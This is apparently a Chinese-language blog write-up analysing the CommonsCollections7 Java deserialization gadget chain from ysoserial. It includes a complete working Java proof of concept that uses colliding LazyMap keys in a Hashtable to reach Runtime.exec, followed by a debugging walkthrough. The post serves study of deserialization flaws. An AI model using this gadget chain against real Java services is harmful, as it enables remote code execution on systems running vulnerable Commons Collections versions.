Ysoserial Commons Collections7分析

寫在前面

CommonsCollections Gadget Chains	CommonsCollection Version	JDK Version	Note
CommonsCollections1	CommonsCollections 3.1 - 3.2.1	1.7 （8u71之后已修復不可利用）
CommonsCollections2	CommonsCollections 4.0	暫無限制	javassist
CommonsCollections3	CommonsCollections 3.1 - 3.2.1	1.7 （8u71之后已修復不可利用）	javassist
CommonsCollections4	CommonsCollections 4.0	暫無限制	javassist
CommonsCollections5	CommonsCollections 3.1 - 3.2.1	1.8 8u76（實測8u181也可）
CommonsCollections6	CommonsCollections 3.1 - 3.2.1	暫無限制
CommonsCollections7	CommonsCollections 3.1 - 3.2.1	暫無限制

CC7和CC1差不多，只是觸發LazyMap.get()的方式不一樣，反序列化的入口點變成了Hashtable類

Payload method chain: 因為chain發生了一些變化，這里貼出來先留個印象，放便后續調試時理解

  java.util.Hashtable.readObject
  java.util.Hashtable.reconstitutionPut
  org.apache.commons.collections.map.AbstractMapDecorator.equals
  java.util.AbstractMap.equals
  org.apache.commons.collections.map.LazyMap.get
  org.apache.commons.collections.functors.ChainedTransformer.transform
  org.apache.commons.collections.functors.InvokerTransformer.transform
  java.lang.reflect.Method.invoke
  sun.reflect.DelegatingMethodAccessorImpl.invoke
  sun.reflect.NativeMethodAccessorImpl.invoke
  sun.reflect.NativeMethodAccessorImpl.invoke0
  java.lang.Runtime.exec

poc

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class cc7 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {


        // Reusing transformer chain and LazyMap gadgets from previous payloads
        final String[] execArgs = new String[]{"open -a Calculator"};

        final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});

        final Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        execArgs),
                new ConstantTransformer(1)};

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put("yy", 1);

        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put("zZ", 1);

        // Use the colliding Maps as keys in Hashtable
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);

        Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(transformerChain,transformers);
//        Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

        // Needed to ensure hash collision after previous manipulations
        lazyMap2.remove("yy");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test1.out"));
        objectOutputStream.writeObject(hashtable);
        objectOutputStream.close();

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test1.out"));
        objectInputStream.readObject();
//            return hashtable;
    }
}

PoC分析

前面部分基本都是CC1的老內容了，主要看下后面有關於Hashtable部分,主要是下面的一段代碼

Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);

// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

首先new了兩個HashMap對象，之后分別利用這兩個對象作為參數通過LazyMap.decorate()方法new了兩個LazyMap對象

拋出問題：注意這里的LazyMap中的yy與zZ，這個命名是有說法的。

在reconstitutionPut方法中，可以看到zZ和yy的hash是一樣的,但是重點在於index的值，如果不符合語法會導致無法進入for循環也就觸發不了后續的利用鏈

（transformerChain是new的一個空ChainedTransformer對象）后續將這兩個LazyMap對象作為參數傳入hashtable.put()方法並put兩次。拋出問題：為什么要put兩次？

調試時發現在Hashtable#readObject()方法有如下一個循環，在這個for循環中去調用的reconstitutionPut方法

第一次循環調用reconstitutionPut方法時並不會走進chain中提到的equals方法，因為tab[index]的值是0，后面才會對tab[index]進行賦值。

第二次才能進入for循環進而調用if判斷中的equals方法，這也是為什么hashtable要put兩次的原因

調試分析

Hashtable#readObject()下斷點，debug，跟進到reconstitutionPut方法

上面也提到了，第一次循環時並不能進入equals方法，這里略去，直接跟進到第二次循環的時候，調用的是LazyMap#equals方法，繼續跟進，這里調用的其實是org/apache/commons/collections/map/AbstractMapDecorator的equals方法

調用AbstractMap的equals方法

在AbstractMap#equals()方法中最終調用了LazyMap.get()

后續就是進入ChainedTransformer#transform()方法，老生常談的東西了，最終是在InvokerTransformer#transform()中反射調用exec執行命令

END

至此CC1-7就都分析完了，后面幾個鏈分析的內容比較少，大部分都是前面的內容如果覺得不詳細可以看之前寫的CC1-3的文章，基本都涵蓋了后面分析時沒深入寫的老生常談的東西。后續應該會去跟一下ysoserial的源碼，雖然之前分析URLDNS的時候就簡單看過如何生成payload。但是分析cc的時候就沒用ysoserial項目的源碼（因為封裝的太多了:D）之后可能會把CC8-10拿出來寫成ysoserial的payload放進去。

Reference

https://www.anquanke.com/post/id/248169
https://www.cnblogs.com/nice0e3/